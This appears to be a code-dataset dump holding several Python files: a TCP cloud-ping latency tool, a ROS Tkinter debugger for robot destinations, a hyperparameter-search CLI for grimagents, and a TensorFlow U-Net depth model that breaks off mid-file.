max_stars_repo_path stringlengths 4 286 | max_stars_repo_name stringlengths 5 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.03M | content_cleaned stringlengths 6 1.03M | language stringclasses 111 values | language_score float64 0.03 1 | comments stringlengths 0 556k | edu_score float64 0.32 5.03 | edu_int_score int64 0 5 |
|---|---|---|---|---|---|---|---|---|---|---|
causalml/inference/nn/__init__.py | jadhav-kumar/causalml | 1 | 6616151 | <gh_stars>1-10
from .dragonnet import DragonNet | from .dragonnet import DragonNet | none | 1 | 1.076248 | 1 | |
cloudping.py | gdoubleyew/cloud-ping | 0 | 6616152 | <reponame>gdoubleyew/cloud-ping
#!/usr/bin/env python3
"""
Description:
Program to measure the latency and bandwidth between client and server
instances. In particular between on-premise and a cloud instance. This is
needed because cloud providers typically block ICMP protocol which ping
uses.
"""
import sys
import getopt
import logging
import socket
import socketserver
import struct
import time
# use socketserver framework to make connections.
# https://docs.python.org/3/library/socketserver.html
# GetOpt - http://www.diveintopython.net/scripts_and_streams/command_line_arguments.html
# https://docs.python.org/3.1/library/getopt.html
SERVER_MODE = "server"
CLIENT_MODE = "client"
msgStruct = struct.Struct("!Hd")
class InvalidInvocation(ValueError):
pass
class InvalidMode(ValueError):
pass
class ServerRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
self.data = recvall(self.request, msgStruct.size)
print("received ping: {} bytes, from {}".format(len(self.data), self.client_address[0]))
self.request.sendall(self.data)
class CloudPing():
def __init__(self, argv):
self.argv = argv
self.mode = SERVER_MODE
self.addr = ''
self.port = 5500
self.parseArgs()
def printUsage(self):
usage_format = """Usage:
{}: <-c | -s> [-a <addr>, -p <port>]
options:
-c -- client mode
-s -- server mode
-a [--addr] -- server ip address
-p [--port] -- server port"""
print(usage_format.format(self.argv[0]))
def parseArgs(self):
# parse args
try:
opts, _ = getopt.gnu_getopt(self.argv[1:], "a:p:cs",
["addr=", "port=", CLIENT_MODE, SERVER_MODE])
except getopt.GetoptError as err:
logging.error(repr(err))
raise InvalidInvocation("Invalid parameter specified")
for opt, arg in opts:
if opt in ("-a", "--addr"):
self.addr = arg
elif opt in ("-p", "--port"):
self.port = int(arg)
elif opt in ("-c", "--client"):
self.mode = CLIENT_MODE
elif opt in ("-s", "--server"):
self.mode = SERVER_MODE
else:
raise InvalidInvocation("unimplemented option {} {}", opt, arg)
if self.mode is None:
raise InvalidInvocation("Must specify either client -c or server -s mode")
def listen(self):
if self.mode != SERVER_MODE:
raise InvalidMode("listen() method can only be called in server mode")
logging.info("Server mode: listening on %s:%s", self.addr, self.port)
server = socketserver.TCPServer((self.addr, self.port), ServerRequestHandler)
server.serve_forever()
def ping(self):
if self.mode != CLIENT_MODE:
raise InvalidMode("ping() method can only be called in client mode")
# connect to server
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
# Connect to server and send data
sock.connect((self.addr, self.port))
# send ping msg
msg = msgStruct.pack(0xFEED, time.time())
sock.sendall(msg)
# recv reply
reply = recvall(sock, msgStruct.size)
hdr, begin_time = msgStruct.unpack(reply)
assert hdr == 0xFEED
elapsed_time = time.time() - begin_time
return elapsed_time
def recvall(sock, count):
buf = b''
while count:
newbuf = sock.recv(count)
if not newbuf:
raise socket.error("connection disconnected")
buf += newbuf
count -= len(newbuf)
return buf
def main(argv):
logging.basicConfig(level=logging.INFO)
try:
cloudping = CloudPing(argv)
if cloudping.mode == SERVER_MODE:
cloudping.listen()
elif cloudping.mode == CLIENT_MODE:
# loop pinging the server
while True:
elapsed_time = cloudping.ping()
print("Ping {} RTT: {:.2f} ms".format(cloudping.addr, elapsed_time * 1000))
time.sleep(1)
except ValueError as err:
logging.error(repr(err))
cloudping.printUsage()
except KeyboardInterrupt:
print() # newline
if __name__ == "__main__":
main(sys.argv)
| #!/usr/bin/env python3
"""
Description:
Program to measure the latency and bandwidth between client and server
instances. In particular between on-premise and a cloud instance. This is
needed because cloud providers typically block ICMP protocol which ping
uses.
"""
import sys
import getopt
import logging
import socket
import socketserver
import struct
import time
# use socketserver framework to make connections.
# https://docs.python.org/3/library/socketserver.html
# GetOpt - http://www.diveintopython.net/scripts_and_streams/command_line_arguments.html
# https://docs.python.org/3.1/library/getopt.html
SERVER_MODE = "server"
CLIENT_MODE = "client"
msgStruct = struct.Struct("!Hd")
class InvalidInvocation(ValueError):
pass
class InvalidMode(ValueError):
pass
class ServerRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
self.data = recvall(self.request, msgStruct.size)
print("received ping: {} bytes, from {}".format(len(self.data), self.client_address[0]))
self.request.sendall(self.data)
class CloudPing():
def __init__(self, argv):
self.argv = argv
self.mode = SERVER_MODE
self.addr = ''
self.port = 5500
self.parseArgs()
def printUsage(self):
usage_format = """Usage:
{}: <-c | -s> [-a <addr>, -p <port>]
options:
-c -- client mode
-s -- server mode
-a [--addr] -- server ip address
-p [--port] -- server port"""
print(usage_format.format(self.argv[0]))
def parseArgs(self):
# parse args
try:
opts, _ = getopt.gnu_getopt(self.argv[1:], "a:p:cs",
["addr=", "port=", CLIENT_MODE, SERVER_MODE])
except getopt.GetoptError as err:
logging.error(repr(err))
raise InvalidInvocation("Invalid parameter specified")
for opt, arg in opts:
if opt in ("-a", "--addr"):
self.addr = arg
elif opt in ("-p", "--port"):
self.port = int(arg)
elif opt in ("-c", "--client"):
self.mode = CLIENT_MODE
elif opt in ("-s", "--server"):
self.mode = SERVER_MODE
else:
raise InvalidInvocation("unimplemented option {} {}", opt, arg)
if self.mode is None:
raise InvalidInvocation("Must specify either client -c or server -s mode")
def listen(self):
if self.mode != SERVER_MODE:
raise InvalidMode("listen() method can only be called in server mode")
logging.info("Server mode: listening on %s:%s", self.addr, self.port)
server = socketserver.TCPServer((self.addr, self.port), ServerRequestHandler)
server.serve_forever()
def ping(self):
if self.mode != CLIENT_MODE:
raise InvalidMode("ping() method can only be called in client mode")
# connect to server
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
# Connect to server and send data
sock.connect((self.addr, self.port))
# send ping msg
msg = msgStruct.pack(0xFEED, time.time())
sock.sendall(msg)
# recv reply
reply = recvall(sock, msgStruct.size)
hdr, begin_time = msgStruct.unpack(reply)
assert hdr == 0xFEED
elapsed_time = time.time() - begin_time
return elapsed_time
def recvall(sock, count):
buf = b''
while count:
newbuf = sock.recv(count)
if not newbuf:
raise socket.error("connection disconnected")
buf += newbuf
count -= len(newbuf)
return buf
def main(argv):
logging.basicConfig(level=logging.INFO)
try:
cloudping = CloudPing(argv)
if cloudping.mode == SERVER_MODE:
cloudping.listen()
elif cloudping.mode == CLIENT_MODE:
# loop pinging the server
while True:
elapsed_time = cloudping.ping()
print("Ping {} RTT: {:.2f} ms".format(cloudping.addr, elapsed_time * 1000))
time.sleep(1)
except ValueError as err:
logging.error(repr(err))
cloudping.printUsage()
except KeyboardInterrupt:
print() # newline
if __name__ == "__main__":
main(sys.argv) | en | 0.679454 | #!/usr/bin/env python3 Description: Program to measure the latency and bandwidth between client and server instances. In particular between on-premise and a cloud instance. This is needed because cloud providers typically block ICMP protocol which ping uses. # use socketserver framework to make connections. # https://docs.python.org/3/library/socketserver.html # GetOpt - http://www.diveintopython.net/scripts_and_streams/command_line_arguments.html # https://docs.python.org/3.1/library/getopt.html Usage: {}: <-c | -s> [-a <addr>, -p <port>] options: -c -- client mode -s -- server mode -a [--addr] -- server ip address -p [--port] -- server port # parse args # connect to server # Connect to server and send data # send ping msg # recv reply # loop pinging the server # newline | 3.009721 | 3 |
scripts/destinations_debugger.py | DavMrc/thesis | 0 | 6616153 | <gh_stars>0
#!/usr/bin/env python
"""
graphical utility drawn with Tkinter. used to debug the state of
all the Destinations and the state of the first two robots
"""
import rospy
import os
import argparse
import yaml
from multirobot_interference.msg import *
from Tkinter import *
from ttk import Separator
CONFIG_DIR = '/home/davide/.dest_debugger/'
CONFIG_FILE = 'config.txt'
FRAME_UI = {
'padx': 10,
'pady': 10,
'borderwidth': 2,
'relief': 'raised',
'width': 10,
'height': 10,
'bg': 'green'
}
SMALLER = {
'padx': 10,
'pady': 10,
'borderwidth': 2,
'relief': 'raised',
'width': 7,
'height': 7
}
class DestDebugger(object):
def __init__(self, yaml, dest_count):
self.yaml = yaml
self.root = Tk()
self.root.title("Destinations debugger")
try:
f = open(CONFIG_DIR + CONFIG_FILE, 'r')
coords = f.readline()
self.root.geometry(coords)
except IOError:
self.root.eval('tk::PlaceWindow %s center' % self.root.winfo_toplevel())
row = 0
col = 0
base = 2
for i in range(1, dest_count+1):
frame = Frame(self.root, name='waypoint'+str(i), **FRAME_UI)
frame.grid(row=row, column=col)
wp_name = Label(frame, text='WayPoint'+str(i))
wp_name.grid(row=0, column=0)
wp_idl = Entry(frame, width=8, name='idl_waypoint'+str(i))
wp_idl.grid(row=1, column=0)
col += 1
if col == base:
row += 1
col = 0
# -------- separator
row += 1
separator = Separator(self.root, orient="horizontal")
separator.grid(row=row, columnspan=base, pady=5, sticky="ew")
# -------- ROBOT NAMES
row += 1
robot_1_lab = Label(self.root, text='Robot 1')
robot_1_lab.grid(row=row, column=0)
robot_2_lab = Label(self.root, text='Robot 2')
robot_2_lab.grid(row=row, column=1)
# --------- CURRENT GOAL
row += 1
robot_1_cframe = Frame(self.root, bg='green', **SMALLER)
robot_1_cframe.grid(row=row, column=0)
self.robot_1_cgoal = Entry(robot_1_cframe)
self.robot_1_cgoal.grid(row=0, column=0)
robot_2_cframe = Frame(self.root, bg='green', **SMALLER)
robot_2_cframe.grid(row=row, column=1)
self.robot_2_cgoal = Entry(robot_2_cframe)
self.robot_2_cgoal.grid(row=0, column=0)
# --------- LATEST GOAL
row += 1
robot_1_lframe = Frame(self.root, bg='gray', **SMALLER)
robot_1_lframe.grid(row=row, column=0)
self.robot_1_lgoal = Entry(robot_1_lframe)
self.robot_1_lgoal.grid(row=0, column=0)
robot_2_lframe = Frame(self.root, bg='gray', **SMALLER)
robot_2_lframe.grid(row=row, column=1)
self.robot_2_lgoal = Entry(robot_2_lframe)
self.robot_2_lgoal.grid(row=0, column=0)
# -------- STATE
row += 1
robot_1_sframe = Frame(self.root, bg='gray', **SMALLER)
robot_1_sframe.grid(row=row, column=0)
self.robot_1_state = Entry(robot_1_sframe)
self.robot_1_state.grid(row=0, column=0)
robot_2_sframe = Frame(self.root, bg='gray', **SMALLER)
robot_2_sframe.grid(row=row, column=1)
self.robot_2_state = Entry(robot_2_sframe)
self.robot_2_state.grid(row=0, column=0)
def on_shutdown(self):
self.dest_sub.unregister()
try:
x = self.root.winfo_x()
y = self.root.winfo_y()
if not os.path.exists(CONFIG_DIR):
os.makedirs(CONFIG_DIR)
with open(CONFIG_DIR + CONFIG_FILE, 'w') as f:
line = '+%s+%s' % (x, y)
f.write(line)
self.root.destroy()
except TclError:
pass
def mainloop(self):
self.root.mainloop()
def listen_destinations(self):
self.dest_sub = rospy.Subscriber(self.yaml['destinations_log'], DestinationDebug, self.on_destination)
def on_destination(self, msg):
name = str(msg.name).lower()
frame = self.root.nametowidget(name)
idleness = round(float(msg.idleness), 3)
wp_idl = frame.nametowidget('idl_'+name)
wp_idl.delete(0, 'end')
wp_idl.insert(0, str(idleness))
if msg.available:
frame['bg'] = 'green'
else:
frame['bg'] = 'red'
def robot_states(self):
rospy.Subscriber('/robot_1'+self.yaml['robot_state'], RobotState, self.on_state)
rospy.Subscriber('/robot_2'+self.yaml['robot_state'], RobotState, self.on_state)
def on_state(self, msg):
if msg.robot_name == '/robot_1':
self.robot_1_cgoal.delete(0, 'end')
self.robot_1_lgoal.delete(0, 'end')
self.robot_1_state.delete(0, 'end')
self.robot_1_cgoal.insert(0, msg.current_goal)
self.robot_1_lgoal.insert(0, msg.latest_goal)
self.robot_1_state.insert(0, msg.state)
else:
self.robot_2_cgoal.delete(0, 'end')
self.robot_2_lgoal.delete(0, 'end')
self.robot_2_state.delete(0, 'end')
self.robot_2_cgoal.insert(0, msg.current_goal)
self.robot_2_lgoal.insert(0, msg.latest_goal)
self.robot_2_state.insert(0, msg.state)
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('--yaml', type=str)
args, unknown = parser.parse_known_args()
f = open(args.yaml, 'r')
return yaml.safe_load(f)
if __name__ == "__main__":
rospy.init_node('destinations_debugger')
yaml = parse_args()
while not rospy.has_param(yaml['interest_points']):
rospy.sleep(0.1)
dest_num = len(rospy.get_param(yaml['interest_points']))
dest_debugger = DestDebugger(yaml=yaml, dest_count=dest_num)
rospy.on_shutdown(dest_debugger.on_shutdown)
dest_debugger.listen_destinations()
dest_debugger.robot_states()
dest_debugger.mainloop()
| #!/usr/bin/env python
"""
graphical utility drawn with Tkinter. used to debug the state of
all the Destinations and the state of the first two robots
"""
import rospy
import os
import argparse
import yaml
from multirobot_interference.msg import *
from Tkinter import *
from ttk import Separator
CONFIG_DIR = '/home/davide/.dest_debugger/'
CONFIG_FILE = 'config.txt'
FRAME_UI = {
'padx': 10,
'pady': 10,
'borderwidth': 2,
'relief': 'raised',
'width': 10,
'height': 10,
'bg': 'green'
}
SMALLER = {
'padx': 10,
'pady': 10,
'borderwidth': 2,
'relief': 'raised',
'width': 7,
'height': 7
}
class DestDebugger(object):
def __init__(self, yaml, dest_count):
self.yaml = yaml
self.root = Tk()
self.root.title("Destinations debugger")
try:
f = open(CONFIG_DIR + CONFIG_FILE, 'r')
coords = f.readline()
self.root.geometry(coords)
except IOError:
self.root.eval('tk::PlaceWindow %s center' % self.root.winfo_toplevel())
row = 0
col = 0
base = 2
for i in range(1, dest_count+1):
frame = Frame(self.root, name='waypoint'+str(i), **FRAME_UI)
frame.grid(row=row, column=col)
wp_name = Label(frame, text='WayPoint'+str(i))
wp_name.grid(row=0, column=0)
wp_idl = Entry(frame, width=8, name='idl_waypoint'+str(i))
wp_idl.grid(row=1, column=0)
col += 1
if col == base:
row += 1
col = 0
# -------- separator
row += 1
separator = Separator(self.root, orient="horizontal")
separator.grid(row=row, columnspan=base, pady=5, sticky="ew")
# -------- ROBOT NAMES
row += 1
robot_1_lab = Label(self.root, text='Robot 1')
robot_1_lab.grid(row=row, column=0)
robot_2_lab = Label(self.root, text='Robot 2')
robot_2_lab.grid(row=row, column=1)
# --------- CURRENT GOAL
row += 1
robot_1_cframe = Frame(self.root, bg='green', **SMALLER)
robot_1_cframe.grid(row=row, column=0)
self.robot_1_cgoal = Entry(robot_1_cframe)
self.robot_1_cgoal.grid(row=0, column=0)
robot_2_cframe = Frame(self.root, bg='green', **SMALLER)
robot_2_cframe.grid(row=row, column=1)
self.robot_2_cgoal = Entry(robot_2_cframe)
self.robot_2_cgoal.grid(row=0, column=0)
# --------- LATEST GOAL
row += 1
robot_1_lframe = Frame(self.root, bg='gray', **SMALLER)
robot_1_lframe.grid(row=row, column=0)
self.robot_1_lgoal = Entry(robot_1_lframe)
self.robot_1_lgoal.grid(row=0, column=0)
robot_2_lframe = Frame(self.root, bg='gray', **SMALLER)
robot_2_lframe.grid(row=row, column=1)
self.robot_2_lgoal = Entry(robot_2_lframe)
self.robot_2_lgoal.grid(row=0, column=0)
# -------- STATE
row += 1
robot_1_sframe = Frame(self.root, bg='gray', **SMALLER)
robot_1_sframe.grid(row=row, column=0)
self.robot_1_state = Entry(robot_1_sframe)
self.robot_1_state.grid(row=0, column=0)
robot_2_sframe = Frame(self.root, bg='gray', **SMALLER)
robot_2_sframe.grid(row=row, column=1)
self.robot_2_state = Entry(robot_2_sframe)
self.robot_2_state.grid(row=0, column=0)
def on_shutdown(self):
self.dest_sub.unregister()
try:
x = self.root.winfo_x()
y = self.root.winfo_y()
if not os.path.exists(CONFIG_DIR):
os.makedirs(CONFIG_DIR)
with open(CONFIG_DIR + CONFIG_FILE, 'w') as f:
line = '+%s+%s' % (x, y)
f.write(line)
self.root.destroy()
except TclError:
pass
def mainloop(self):
self.root.mainloop()
def listen_destinations(self):
self.dest_sub = rospy.Subscriber(self.yaml['destinations_log'], DestinationDebug, self.on_destination)
def on_destination(self, msg):
name = str(msg.name).lower()
frame = self.root.nametowidget(name)
idleness = round(float(msg.idleness), 3)
wp_idl = frame.nametowidget('idl_'+name)
wp_idl.delete(0, 'end')
wp_idl.insert(0, str(idleness))
if msg.available:
frame['bg'] = 'green'
else:
frame['bg'] = 'red'
def robot_states(self):
rospy.Subscriber('/robot_1'+self.yaml['robot_state'], RobotState, self.on_state)
rospy.Subscriber('/robot_2'+self.yaml['robot_state'], RobotState, self.on_state)
def on_state(self, msg):
if msg.robot_name == '/robot_1':
self.robot_1_cgoal.delete(0, 'end')
self.robot_1_lgoal.delete(0, 'end')
self.robot_1_state.delete(0, 'end')
self.robot_1_cgoal.insert(0, msg.current_goal)
self.robot_1_lgoal.insert(0, msg.latest_goal)
self.robot_1_state.insert(0, msg.state)
else:
self.robot_2_cgoal.delete(0, 'end')
self.robot_2_lgoal.delete(0, 'end')
self.robot_2_state.delete(0, 'end')
self.robot_2_cgoal.insert(0, msg.current_goal)
self.robot_2_lgoal.insert(0, msg.latest_goal)
self.robot_2_state.insert(0, msg.state)
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('--yaml', type=str)
args, unknown = parser.parse_known_args()
f = open(args.yaml, 'r')
return yaml.safe_load(f)
if __name__ == "__main__":
rospy.init_node('destinations_debugger')
yaml = parse_args()
while not rospy.has_param(yaml['interest_points']):
rospy.sleep(0.1)
dest_num = len(rospy.get_param(yaml['interest_points']))
dest_debugger = DestDebugger(yaml=yaml, dest_count=dest_num)
rospy.on_shutdown(dest_debugger.on_shutdown)
dest_debugger.listen_destinations()
dest_debugger.robot_states()
dest_debugger.mainloop() | en | 0.589122 | #!/usr/bin/env python graphical utility drawn with Tkinter. used to debug the state of all the Destinations and the state of the first two robots # -------- separator # -------- ROBOT NAMES # --------- CURRENT GOAL # --------- LATEST GOAL # -------- STATE | 2.510013 | 3 |
grimagents/search.py | PinataMostGrim/grimagents_cli | 1 | 6616154 | """
CLI application that performs hyperparameter searches using a grimagents configuration file.
Features:
- Grid Search for hyperparameters
- Random Search for hyperparameters
- Bayesian Search for hyperparameters
- Resume Grid Search
- Save and load Bayesian search progress
See readme.md for more information.
"""
import argparse
import logging
import logging.config
import sys
import grimagents.common as common
import grimagents.settings as settings
from grimagents.search_commands import (
EditGrimConfigFile,
OutputGridSearchCount,
PerformGridSearch,
ExportGridSearchConfiguration,
PerformRandomSearch,
PerformBayesianSearch,
)
search_log = logging.getLogger('grimagents.search')
def main():
configure_logging()
if not common.is_pipenv_present():
search_log.error(
'No virtual environment is accessible by Pipenv from this directory, unable to run mlagents-learn'
)
sys.exit(1)
argv = get_argvs()
args = parse_args(argv)
if args.edit_config:
EditGrimConfigFile(args).execute()
elif args.search_count:
OutputGridSearchCount(args).execute()
elif args.export_index:
ExportGridSearchConfiguration(args).execute()
elif args.random:
PerformRandomSearch(args).execute()
elif args.bayesian:
PerformBayesianSearch(args).execute()
else:
PerformGridSearch(args).execute()
logging.shutdown()
def get_argvs():
return sys.argv[1:]
def parse_args(argv):
"""Builds a Namespace object out of parsed arguments."""
options_parser = argparse.ArgumentParser(add_help=False)
options_parser.add_argument(
'--edit-config',
metavar='<file>',
type=str,
help='Open a grimagents configuration file for editing. Adds a default search entry if one is not present.',
)
options_parser.add_argument(
'--search-count',
action='store_true',
help='Output the total number of grid searches a grimagents configuration file will attempt',
)
options_parser.add_argument(
'--resume',
metavar='<search index>',
type=int,
help='Resume grid search from <search index> (counting from zero)',
)
options_parser.add_argument(
'--export-index',
metavar='<search index>',
type=int,
help='Export trainer configuration for grid search <index>',
)
options_parser.add_argument(
'--random',
'-r',
metavar='<n>',
type=int,
help='Execute <n> random searches instead of performing a grid search',
)
options_parser.add_argument(
'--bayesian',
'-b',
metavar=('<exploration_steps>', '<optimization_steps>'),
type=int,
nargs=2,
help='Execute Bayesian Search using a number of exploration steps and optimization steps',
)
options_parser.add_argument(
'--bayes-save',
'-s',
action='store_true',
help='Save Bayesian optimization progress log to folder',
)
options_parser.add_argument(
'--bayes-load',
'-l',
action='store_true',
help='Loads Bayesian optimization progress logs from folder',
)
parser = argparse.ArgumentParser(
prog='grimsearch',
description='CLI application that performs a hyperparameter search',
parents=[options_parser],
)
parser.add_argument(
'configuration_file',
type=str,
help='A grimagents configuration file containing search parameters',
)
args, unparsed_args = options_parser.parse_known_args(argv)
if len(argv) == 0:
parser.print_help()
sys.exit(0)
if len(unparsed_args) > 0:
args = parser.parse_args(unparsed_args, args)
return args
def configure_logging():
log_config = {
'version': 1,
'disable_existing_loggers': False,
'formatters': {
'display': {'style': '{', 'format': '{message}'},
'timestamp': {'style': '{', 'format': '[{asctime}][{levelname}] {message}'},
},
'handlers': {
'console': {
'class': 'logging.StreamHandler',
'stream': 'ext://sys.stdout',
'formatter': 'display',
},
'file': {'class': 'logging.FileHandler', 'filename': '', 'formatter': 'timestamp'},
},
'loggers': {'grimagents.search': {'handlers': ['console', 'file']}},
'root': {'level': 'INFO'},
}
log_file = settings.get_log_file_path()
if not log_file.parent.exists():
log_file.parent.mkdir(parents=True, exist_ok=True)
log_config['handlers']['file']['filename'] = log_file
logging.config.dictConfig(log_config)
if __name__ == '__main__':
main()
| """
CLI application that performs hyperparameter searches using a grimagents configuration file.
Features:
- Grid Search for hyperparameters
- Random Search for hyperparameters
- Bayesian Search for hyperparameters
- Resume Grid Search
- Save and load Bayesian search progress
See readme.md for more information.
"""
import argparse
import logging
import logging.config
import sys
import grimagents.common as common
import grimagents.settings as settings
from grimagents.search_commands import (
EditGrimConfigFile,
OutputGridSearchCount,
PerformGridSearch,
ExportGridSearchConfiguration,
PerformRandomSearch,
PerformBayesianSearch,
)
search_log = logging.getLogger('grimagents.search')
def main():
configure_logging()
if not common.is_pipenv_present():
search_log.error(
'No virtual environment is accessible by Pipenv from this directory, unable to run mlagents-learn'
)
sys.exit(1)
argv = get_argvs()
args = parse_args(argv)
if args.edit_config:
EditGrimConfigFile(args).execute()
elif args.search_count:
OutputGridSearchCount(args).execute()
elif args.export_index:
ExportGridSearchConfiguration(args).execute()
elif args.random:
PerformRandomSearch(args).execute()
elif args.bayesian:
PerformBayesianSearch(args).execute()
else:
PerformGridSearch(args).execute()
logging.shutdown()
def get_argvs():
return sys.argv[1:]
def parse_args(argv):
"""Builds a Namespace object out of parsed arguments."""
options_parser = argparse.ArgumentParser(add_help=False)
options_parser.add_argument(
'--edit-config',
metavar='<file>',
type=str,
help='Open a grimagents configuration file for editing. Adds a default search entry if one is not present.',
)
options_parser.add_argument(
'--search-count',
action='store_true',
help='Output the total number of grid searches a grimagents configuration file will attempt',
)
options_parser.add_argument(
'--resume',
metavar='<search index>',
type=int,
help='Resume grid search from <search index> (counting from zero)',
)
options_parser.add_argument(
'--export-index',
metavar='<search index>',
type=int,
help='Export trainer configuration for grid search <index>',
)
options_parser.add_argument(
'--random',
'-r',
metavar='<n>',
type=int,
help='Execute <n> random searches instead of performing a grid search',
)
options_parser.add_argument(
'--bayesian',
'-b',
metavar=('<exploration_steps>', '<optimization_steps>'),
type=int,
nargs=2,
help='Execute Bayesian Search using a number of exploration steps and optimization steps',
)
options_parser.add_argument(
'--bayes-save',
'-s',
action='store_true',
help='Save Bayesian optimization progress log to folder',
)
options_parser.add_argument(
'--bayes-load',
'-l',
action='store_true',
help='Loads Bayesian optimization progress logs from folder',
)
parser = argparse.ArgumentParser(
prog='grimsearch',
description='CLI application that performs a hyperparameter search',
parents=[options_parser],
)
parser.add_argument(
'configuration_file',
type=str,
help='A grimagents configuration file containing search parameters',
)
args, unparsed_args = options_parser.parse_known_args(argv)
if len(argv) == 0:
parser.print_help()
sys.exit(0)
if len(unparsed_args) > 0:
args = parser.parse_args(unparsed_args, args)
return args
def configure_logging():
log_config = {
'version': 1,
'disable_existing_loggers': False,
'formatters': {
'display': {'style': '{', 'format': '{message}'},
'timestamp': {'style': '{', 'format': '[{asctime}][{levelname}] {message}'},
},
'handlers': {
'console': {
'class': 'logging.StreamHandler',
'stream': 'ext://sys.stdout',
'formatter': 'display',
},
'file': {'class': 'logging.FileHandler', 'filename': '', 'formatter': 'timestamp'},
},
'loggers': {'grimagents.search': {'handlers': ['console', 'file']}},
'root': {'level': 'INFO'},
}
log_file = settings.get_log_file_path()
if not log_file.parent.exists():
log_file.parent.mkdir(parents=True, exist_ok=True)
log_config['handlers']['file']['filename'] = log_file
logging.config.dictConfig(log_config)
if __name__ == '__main__':
main()
| en | 0.531858 | CLI application that performs hyperparameter searches using a grimagents configuration file. Features: - Grid Search for hyperparameters - Random Search for hyperparameters - Bayesian Search for hyperparameters - Resume Grid Search - Save and load Bayesian search progress See readme.md for more information. Builds a Namespace object out of parsed arguments. | 2.778482 | 3 |
src/model_unet.py | pravinthsam/Ilios-3D-model-generation | 13 | 6616155 | import os
import shutil
import numpy as np
from skimage import io
import tensorflow as tf
import tools
import glob
from config import config
import time
vox_res64 = 512
vox_rex256 = 256
batch_size = 4
GPU0 = '0'
class Network:
def __init__(self, config=None):
self.config = config
if config is None:
self.epochs = 10
self.learning_rate = 0.01
self.batch_size = 4
else:
self.epochs = self.config['train_epochs']
self.learning_rate = self.config['learning_rate_unet']
self.batch_size = self.config['batch_size']
self.train_mod_dir = './models/unet/'
self.train_sum_dir = './summaries/train_sum_u/'
self.test_res_dir = './summaries/test_res_u/'
self.test_sum_dir = './summaries/test_sum_u/'
self.global_vars = './summaries/global_vars_u'
self.demo_dir = './demo/'
re_train = True
print ("re_train:", re_train)
if not os.path.exists(self.global_vars):
os.makedirs(self.global_vars)
print ('global_vars: created!')
if os.path.exists(self.test_res_dir):
if re_train:
print ("test_res_dir and files kept!")
else:
shutil.rmtree(self.test_res_dir)
os.makedirs(self.test_res_dir)
print ('test_res_dir: deleted and then created!')
else:
os.makedirs(self.test_res_dir)
print ('test_res_dir: created!')
if os.path.exists(self.train_mod_dir):
if not re_train:
shutil.rmtree(self.train_mod_dir)
os.makedirs(self.train_mod_dir)
print ('train_mod_dir: deleted and then created!')
else:
os.makedirs(self.train_mod_dir)
print ('train_mod_dir: created!')
if os.path.exists(self.train_sum_dir):
if re_train:
print ("train_sum_dir and files kept!")
else:
shutil.rmtree(self.train_sum_dir)
os.makedirs(self.train_sum_dir)
print ('train_sum_dir: deleted and then created!')
else:
os.makedirs(self.train_sum_dir)
print ('train_sum_dir: created!')
if os.path.exists(self.test_sum_dir):
if re_train:
print ("test_sum_dir and files kept!")
else:
shutil.rmtree(self.test_sum_dir)
os.makedirs(self.test_sum_dir)
print ('test_sum_dir: deleted and then created!')
else:
os.makedirs(self.test_sum_dir)
print ('test_sum_dir: created!')
def conv2d(self, x, k, out_c, str, name,pad='SAME'):
xavier_init = tf.contrib.layers.xavier_initializer()
zero_init = tf.zeros_initializer()
in_c = x.get_shape()[3]
w = tf.get_variable(name + '_w', [k, k, in_c, out_c], initializer=xavier_init)
b = tf.get_variable(name + '_b', [out_c], initializer=zero_init)
stride = [1, str, str, 1]
y = tf.nn.bias_add(tf.nn.conv2d(x, w, stride, pad), b)
return y
def conv2d_transpose(self, x, k, out_c, str, name,pad='SAME'):
xavier_init = tf.contrib.layers.xavier_initializer()
zero_init = tf.zeros_initializer()
in_c = x.get_shape()[3]
w = tf.get_variable(name + '_w', [k, k, in_c, out_c], initializer=xavier_init)
b = tf.get_variable(name + '_b', [out_c], initializer=zero_init)
stride = [1, str, str, 1]
y = tf.nn.bias_add(tf.nn.conv2d_transpose(x, w, [self.batch_size, int(str*x.shape[1]), int(str*x.shape[2]), out_c], stride, pad), b)
return y
def triple_conv(self, X, out_channels, name, Training):
y = self.conv2d(X, 3, out_channels, 1, name+'_1')
y = tf.nn.relu(y)
y = self.conv2d(y, 3, out_channels, 1, name+'_2')
y = tf.nn.relu(y)
y = self.conv2d(y, 3, out_channels, 1, name+'_3')
y = tf.nn.relu(y)
y = tf.layers.batch_normalization(y,training=Training,
momentum=self.config['bn_momentum'])
return y
def unet_forward(self, X, Training):
with tf.device('/gpu:'+GPU0):
X = tf.reshape(X,[-1, vox_res64,vox_res64,4])
conv1 = self.triple_conv(X, 64, 'conv_down1', Training)
x = tf.nn.max_pool(conv1, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME')
conv2 = self.triple_conv(x, 128, 'conv_down2', Training)
x = tf.nn.max_pool(conv2, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME')
conv3 = self.triple_conv(x, 256, 'conv_down3', Training)
x = tf.nn.max_pool(conv3, [1, 2, 2, 1], [1, 2, 2, 1], 'SAME')
x = self.triple_conv(x, 512, 'conv_down4', Training)
x = self.conv2d_transpose(x, 2, 512, 2, 'upsample3')
x = tf.concat([x, conv3], axis=3)
x = self.triple_conv(x, 256, 'conv_up3', Training)
x = self.conv2d_transpose(x, 2, 256, 2, 'upsample2')
x = tf.concat([x, conv2], axis=3)
x = self.triple_conv(x, 128, 'conv_up2', Training)
x = self.conv2d_transpose(x, 2, 128, 2, 'upsample1')
x = tf.concat([x, conv1], axis=3)
x = self.triple_conv(x, 64, 'conv_up1', Training)
out = self.conv2d(x, 1, 1, 1, 'convlast')
return out
def build_graph(self):
self.X = tf.placeholder(tf.float32, [None, vox_res64, vox_res64, 4], name='input')
self.Y = tf.placeholder(tf.float32, [None, vox_res64, vox_res64, 1], name='target')
self.Training = tf.placeholder(tf.bool, name='training_flag')
with tf.device('/gpu:'+GPU0):
self.Depth = self.unet_forward(self.X, self.Training)
print(self.Depth.shape)
mask = tf.reshape(self.X[:, :, :, 3], [-1, vox_res64, vox_res64, 1])
mask = tf.greater(mask, 0.5)
self.Depth = tf.where(mask, self.Depth, tf.ones_like(self.Depth, dtype=tf.float32))
self.mse_loss = tf.reduce_mean(tf.squared_difference(self.Depth, self.Y))
